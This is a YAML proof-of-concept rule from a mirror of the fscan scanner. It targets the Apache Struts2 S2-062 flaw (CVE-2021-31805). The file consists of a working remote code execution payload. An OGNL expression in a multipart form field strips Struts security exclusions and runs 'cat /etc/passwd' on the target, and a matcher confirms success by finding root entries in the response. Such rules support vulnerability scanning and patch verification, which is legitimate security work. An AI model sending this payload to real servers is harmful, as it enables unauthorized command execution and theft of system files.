mirror of https://github.com/qwqdanchun/fscan.git
32 lines
1.8 KiB
YAML
32 lines
1.8 KiB
YAML
name: poc-yaml-struts2-062-cve-2021-31805-rce
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rules:
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- method: POST
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path: /
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headers:
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Content-Type: 'multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF'
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Cache-Control: 'max-age=0'
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Accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9'
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body: "\
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------WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\n\
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Content-Disposition: form-data; name=\"id\"\r\n\r\n\
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%{\r\n\
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(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n\
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(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\r\n\
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(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n\
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(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\r\n
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(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n\
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(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\r\n\
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(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n\
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(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n
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(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'cat /etc/passwd'}))\r\n
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}\r\n\
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------WebKitFormBoundaryl7d1B1aGsV2wcZwF—
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"
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expression: |
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response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
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detail:
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author: Jaky
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links:
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- https://mp.weixin.qq.com/s/taEEl6UQ2yi4cqzs2UBfCg
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